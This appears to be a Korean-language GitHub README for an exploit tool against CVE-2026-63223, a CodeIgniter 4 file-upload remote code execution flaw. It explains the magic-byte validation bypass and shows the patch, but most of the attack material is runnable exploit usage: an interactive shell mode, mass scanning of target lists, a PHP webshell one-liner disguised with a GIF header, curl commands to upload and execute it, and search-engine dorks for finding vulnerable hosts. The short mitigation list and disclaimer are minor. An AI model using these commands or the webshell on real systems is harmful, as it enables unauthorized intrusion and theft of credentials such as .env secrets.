
CVE-2026-63223 — CI4RCE: CodeIgniter 4 is_image/mime_in 파일 업로드 RCE. 매직 바이트 우회(getExtension vs getClientExtension). CVSS 9.8 | CWE-434 | CI4 < 4.7.4
CVE-2026-63223은 PHP 풀스택 웹 프레임워크인 CodeIgniter 4에서 발생하는 CVSS 9.8의 치명적(Critical) 심각도를 지닌 인증되지 않은 원격 코드 실행 취약점으로, 4.7.4 이전 버전에 영향을 미칩니다.
이 취약점은 클라이언트가 제공한 파일명 확장자를 검증하지 않고 콘텐츠에서 파생된 MIME 유형(매직 바이트)만 검사하는 is_image 및 mime_in 파일 업로드 검증 규칙을 악용합니다. 공격자는 PHP 코드 앞에 이미지 매직 바이트(GIF89a, JPEG, PNG 헤더)를 덧붙이고 파일명을 로 지정하여 검증을 통과시킵니다. 파일이 웹에서 접근 가능한 PHP 실행 디렉터리에 저장되면 RCE를 달성합니다.
shell.phpCVSS: 9.8 치명적(Critical) —
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H발견일: 2026년 7월 31일 | 보안 권고: GHSA-mmj4-63m4-r6h5 수정 버전: CodeIgniter 4 v4.7.4
| 버전 | 상태 |
|---|---|
| < 4.7.4 | 취약 |
| 4.7.4+ | 패치됨 |
CWE: CWE-434 — 위험한 유형의 파일 무제한 업로드 참조 PoC: imbas007/CVE-2026-63223-POC
CodeIgniter 4의 is_image 검증 규칙은 매직 바이트에서 파생된 확장자(예: gif)를 반환하는 getExtension()을 Mimes::guessTypeFromExtension()에 매핑하여 파일이 이미지인지 확인합니다. 클라이언트가 제공한 파일명 확장자(getClientExtension(), 예: php)는 절대 검사되지 않습니다:
// VULNERABLE — CI4 4.7.3 FileRules.php
public function is_image(?string $blank, string $params): bool
{
// ...
$type = Mimes::guessTypeFromExtension($file->getExtension()) ?? '';
// ↑ getExtension() = "gif" (from magic bytes, NOT client filename!)
if (mb_strpos($type, 'image') !== 0) {
return false; // "image/gif" → passes!
}
return true; // never checks getClientExtension() = "php"
}
getExtension() ≠ getClientExtension() — 전자는 매직 바이트(gif)에서 파생되고, 후자는 클라이언트 파일명(php)에서 파생됩니다Mimes::guessTypeFromExtension("gif")가 image/gif를 반환하므로 is_image 검증을 통과합니다$file->move($path, $file->getClientName())는 .php 확장자를 유지합니다1. Attacker generates PHP webshell with GIF89a header
→ file(1) reports "GIF image data"
2. POST multipart to vulnerable endpoint (/upload/avatar)
→ is_image validates: image/gif → PASS
→ File saved as shell.php in /uploads/
3. GET /uploads/shell.php?c=id
→ Apache passes .php to PHP-FPM → PHP executes
→ GIF89a output as plaintext, then <?php code runs
4. RCE as www-data
패치는 hasInvalidImageClientExtension()을 추가하여 이제 클라이언트 확장자도 검사합니다:
// PATCHED — v4.7.4+
private function hasInvalidImageClientExtension(UploadedFile $file): bool
{
$clientExtension = trim(strtolower($file->getClientExtension()), '. ');
// ↑ NOW checks getClientExtension() = "php"!
if ($clientExtension === '') return false;
$type = Mimes::guessTypeFromExtension($clientExtension) ?? '';
// ↑ Mimes::guessTypeFromExtension("php") → "text/x-php"
return mb_strpos($type, 'image') !== 0; // TRUE → REJECT!
}
핵심 변경점: 이제 is_image는 getExtension()(콘텐츠 기반, 실제 이미지 확인용) 그리고 getClientExtension()(클라이언트 제공, .php와 같은 비이미지 확장자를 거부하기 위함)을 모두 검증합니다.
git clone https://github.com/shinthink/CVE-2026-63223.git
cd CVE-2026-63223
pip install requests
# Single target
python cve_2026_63223.py -t ci4-app.com -e /upload/avatar
# Custom command
python cve_2026_63223.py -t ci4-app.com -e /upload/avatar -c "cat /etc/passwd"
# Interactive shell
python cve_2026_63223.py -t ci4-app.com -e /upload/avatar --shell
# JPEG variant, custom filename
python cve_2026_63223.py -t ci4-app.com -e /upload/avatar --method jpg --filename wp-admin.php
# Mass scan
python cve_2026_63223.py -f targets.txt -e /upload/avatar --threads 20
-t, --target Single target URL
-f, --file Target list, one per line
-e, --endpoint Vulnerable upload endpoint (default: /upload/avatar)
--field FIELD Upload form field name (default: avatar)
--method {gif,jpg,png} Magic bytes disguise (default: gif)
--filename NAME Shell filename (default: shell.php)
-c, --command Shell command to execute (default: id)
--shell Interactive pseudo-shell mode
-o, --output Save RCE URLs to file
--threads Concurrent workers (default: 30)
$ python cve_2026_63223.py -t ci4-app.com -e /upload/avatar -c "id; hostname"
Host : ci4-app.com
CodeIgniter 4 : YES
Upload : YES
Shell URL : http://ci4-app.com/uploads/shell.php
RCE : YES
RCE Output:
uid=33(www-data) gid=33(www-data) groups=33(www-data)
app-server-01
# Generate GIF89a-prefixed PHP webshell
python3 -c "
import sys
php = b'<?php if(isset(\$_REQUEST[\"c\"])){system(\$_REQUEST[\"c\"]);die();} ?>'
sys.stdout.buffer.write(b'GIF89a\n' + php)
" > evil.php
# Upload
curl -F "[email protected];type=image/gif" http://target/upload/avatar
# Execute
curl http://target/uploads/evil.php?c=id
FOFA: body="CodeIgniter" && body="Welcome to"
Shodan: http.title:"Welcome to CodeIgniter" http.component:"CodeIgniter"
Censys: services.http.response.body:"debugbar_loader"
성공적인 악용 시 웹 서버 사용자 권한으로 원격 코드 실행이 가능해집니다:
.env 파일에서 데이터베이스 자격 증명 탈취계정이나 인증이 필요하지 않습니다 — ext_in 없이 is_image/mime_in을 사용하는 업로드 엔드포인트는 기본적으로 취약합니다.
is_image/mime_in과 함께 ext_in 검증 규칙을 사용하세요readfile() 프록시를 통해 제공하세요getRandomName()으로 서버가 제어하는 파일명을 생성하세요교육 및 승인된 테스트 목적으로만 사용하십시오.
명시적 허가 없이 시스템을 대상으로 사용하지 마십시오. 저자는 오용으로 인한 책임을 지지 않습니다.
| 리소스 | 링크 |
|---|---|
| GitHub 보안 권고 | GHSA-mmj4-63m4-r6h5 |
| 참조 PoC | imbas007/CVE-2026-63223-POC |
| NVD 항목 | CVE-2026-63223 |
| CodeIgniter v4.7.4 | 변경 로그 |
| CWE-434 | 무제한 업로드 |
CodeIgniter 재단과 관련이 없습니다.